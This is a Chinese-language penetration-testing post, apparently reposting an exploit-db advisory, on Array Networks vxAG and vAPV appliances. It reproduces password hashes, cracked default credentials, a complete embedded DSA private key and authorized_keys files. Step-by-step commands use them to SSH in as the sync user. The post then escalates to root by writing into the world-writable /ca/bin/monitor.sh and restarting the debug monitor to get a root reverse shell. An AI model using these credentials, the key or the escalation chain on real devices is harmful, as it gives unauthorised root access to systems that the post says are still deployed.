Array设备SSH默认用户登录漏洞

这是一个比较老的漏洞了，但是到目前为止仍然有不少厂商在使用这个版本的设备。在渗透中也曾经遇到过。
参考自：https://www.exploit-db.com/exploits/32369/

受影响的产品有: Array Networks vxAG 9.2.0.34 and vAPV 8.3.2.17 appliances

默认用户和密码

vxAG 9.2.0.34 和 vAPV 8.3.2.17 的/etc/master.passwd 文件中包含了默认用户和密码

$ cat /etc/master.passwd
# $FreeBSD: src/etc/master.passwd,v 1.40 2005/06/06 20:19:56 brooks Exp $
#
root:$1$9QkJT4Y5$lF2BPaSI2kPlcrqz89yZv0:0:0::0:0:Charlie &:/root:/bin/csh
toor:*:0:0::0:0:Bourne-again Superuser:/root:
daemon:*:1:1::0:0:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5::0:0:System &:/:/usr/sbin/nologin
bin:*:3:7::0:0:Binaries Commands and Source:/:/usr/sbin/nologin
tty:*:4:65533::0:0:Tty Sandbox:/:/usr/sbin/nologin
kmem:*:5:65533::0:0:KMem Sandbox:/:/usr/sbin/nologin
games:*:7:13::0:0:Games pseudo-user:/usr/games:/usr/sbin/nologin
news:*:8:8::0:0:News Subsystem:/:/usr/sbin/nologin
man:*:9:9::0:0:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22::0:0:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25::0:0:Sendmail Submission
User:/var/spool/clientmqueue:/usr/sbin/nologin
mailnull:*:26:26::0:0:Sendmail Default
User:/var/spool/mqueue:/usr/sbin/nologin
bind:*:53:53::0:0:Bind Sandbox:/:/usr/sbin/nologin
proxy:*:62:62::0:0:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
_pflogd:*:64:64::0:0:pflogd privsep user:/var/empty:/usr/sbin/nologin
_dhcp:*:65:65::0:0:dhcp programs:/var/empty:/usr/sbin/nologin
uucp:*:66:66::0:0:UUCP
pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico
pop:*:68:6::0:0:Post Office Owner:/nonexistent:/usr/sbin/nologin
www:*:80:80::0:0:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
nobody:*:65534:65534::0:0:Unprivileged user:/nonexistent:/usr/sbin/nologin
test:$1$UtEw8DNY$te4MRasnXgETxWOZ9Z1o10:1002:1002::0:0:test:/export/test:/bin/tcsh
sync:$1$bmfGRJPh$lWnesbn8M8xZNo3uaqfEd1:1005:0::0:0:sync:/export/sync:/bin/sh
recovery::65533:0::0:0:Recovery User:/:/ca/bin/recovery
mfg:$1$i8SV4bKc$lNMeb8Yow.p.cZvWxt1mO1:1013:1010::0:0:mfg:/export/mfg:/bin/tcsh
arraydb:*:1015:0::0:0:User &:/home/arraydb:/bin/sh
array::1016:1011::0:0:User &:/:/ca/bin/ca_shell

破解之后可以得到下列用户和密码:

用户: mfg 密码: mfg
用户: sync 密码: click1

test和root用户没破解出来。

其中sync用户默认可以远程登录:

$ssh sync@192.168.2.55 /bin/sh
sync@192.168.2.55's password:
$id
uid=1005(sync) gid=0(wheel) groups=0(wheel)

SSH 私钥

sync 用户使用了位于 “~/.ssh/id_dsa” 的登录私钥:

$ cat id_dsa
-----BEGIN DSA PRIVATE KEY-----
MIIBugIBAAKBgQCUw7F/vKJT2Xsq+fIPVxNC/Dyk+dN9DWQT5RO56eIQasd+h6Fm
q1qtQrJ/DOe3VjfUrSm7NN5NoIGOrGCSuQFthFmq+9Lpt6WIykB4mau5iE5orbKM
xTfyu8LtntoikYKrlMB+UrmKDidvZ+7oWiC14imT+Px/3Q7naj0UmOrSTwIVAO25
Yf3SYNtTYv8yzaV+X9yNr/AfAoGADAcEh2bdsrDhwhXtVi1L3cFQx1KpN0B07JLr
gJzJcDLUrwmlMUmrXR2obDGfVQh46EFMeo/k3IESw2zJUS58FJW+sKZ4noSwRZPq
mpBnERKpLOTcWMxUyV8ETsz+9oz71YEMjmR1qvNYAopXf5Yy+4Zq3bgqmMMQyM+K
O1PdlCkCgYBmhSl9CVPgVMv1xO8DAHVhM1huIIK8mNFrzMJz+JXzBx81ms1kWSeQ
OC/nraaXFTBlqiQsvB8tzr4xZdbaI/QzVLKNAF5C8BJ4ScNlTIx1aZJwyMil8Nzb
+0YAsw5Ja+bEZZvEVlAYnd10qRWrPeEY1txLMmX3wDa+JvJL7fmuBgIUZoXsJnzs
+sqSEhA35Le2kC4Y1/A=
-----END DSA PRIVATE KEY-----

下列文件位于 ~/.ssh 目录:

$ cat authorized_keys
1024 35
117781646131320088945310945996213112717535690524599971400605193647439008360689916421327587459429042579662784434303538942896683338584760112042194838342054595473085094045804963620754645364924583113650482968246287214031112796524662479539236259838315876244144983122361617319660444993650437402628793785173700484401
sync@AN

$ cat authorized_keys2
ssh-dss
AAAAB3NzaC1kc3MAAACBAJTDsX+8olPZeyr58g9XE0L8PKT5030NZBPlE7np4hBqx36HoWarWq1Csn8M57dWN9StKbs03k2ggY6sYJK5AW2EWar70um3pYjKQHiZq7mITmitsozFN/K7wu2e2iKRgquUwH5SuYoOJ29n7uhaILXiKZP4/H/dDudqPRSY6tJPAAAAFQDtuWH90mDbU2L/Ms2lfl/cja/wHwAAAIAMBwSHZt2ysOHCFe1WLUvdwVDHUqk3QHTskuuAnMlwMtSvCaUxSatdHahsMZ9VCHjoQUx6j+TcgRLDbMlRLnwUlb6wpniehLBFk+qakGcREqks5NxYzFTJXwROzP72jPvVgQyOZHWq81gCild/ljL7hmrduCqYwxDIz4o7U92UKQAAAIBmhSl9CVPgVMv1xO8DAHVhM1huIIK8mNFrzMJz+JXzBx81ms1kWSeQOC/nraaXFTBlqiQsvB8tzr4xZdbaI/QzVLKNAF5C8BJ4ScNlTIx1aZJwyMil8Nzb+0YAsw5Ja+bEZZvEVlAYnd10qRWrPeEY1txLMmX3wDa+JvJL7fmuBg==
sync@AN

如此一来就可以使用这个私钥进入系统:

将下面的id_dsa私钥保存在”synckey”文件中:

cat > ~/synckey << EOF
-----BEGIN DSA PRIVATE KEY-----
MIIBugIBAAKBgQCUw7F/vKJT2Xsq+fIPVxNC/Dyk+dN9DWQT5RO56eIQasd+h6Fm
q1qtQrJ/DOe3VjfUrSm7NN5NoIGOrGCSuQFthFmq+9Lpt6WIykB4mau5iE5orbKM
xTfyu8LtntoikYKrlMB+UrmKDidvZ+7oWiC14imT+Px/3Q7naj0UmOrSTwIVAO25
Yf3SYNtTYv8yzaV+X9yNr/AfAoGADAcEh2bdsrDhwhXtVi1L3cFQx1KpN0B07JLr
gJzJcDLUrwmlMUmrXR2obDGfVQh46EFMeo/k3IESw2zJUS58FJW+sKZ4noSwRZPq
mpBnERKpLOTcWMxUyV8ETsz+9oz71YEMjmR1qvNYAopXf5Yy+4Zq3bgqmMMQyM+K
O1PdlCkCgYBmhSl9CVPgVMv1xO8DAHVhM1huIIK8mNFrzMJz+JXzBx81ms1kWSeQ
OC/nraaXFTBlqiQsvB8tzr4xZdbaI/QzVLKNAF5C8BJ4ScNlTIx1aZJwyMil8Nzb
+0YAsw5Ja+bEZZvEVlAYnd10qRWrPeEY1txLMmX3wDa+JvJL7fmuBgIUZoXsJnzs
+sqSEhA35Le2kC4Y1/A=
-----END DSA PRIVATE KEY-----
EOF

修改synckey文件的权限:

chmod 600 ~/synckey

使用该私钥登录系统:

ssh -i ~/synckey sync@x.x.x.x /bin/sh

提权

/ca/bin/monitor.sh和 /ca/bin/debug_syn_stat默认是全局可写的 (权限为777).
在monitor.sh文件中写入脚本，通过debug monitor选项重新启动该脚本会以root权限运行。
使用sync用户运行/ca/bin/backend工具，使用如下方式重启debug monitor:
关闭debug monitor:

/ca/bin/backend -c "debug monitor off"`echo -e "\0374"`

开启debug monitor:

/ca/bin/backend -c "debug monitor on"`echo -e "\0374"`

在/ca/bin/monitor.sh中写入反弹shell的指令，通过上述操作，即可反弹回一个root shell.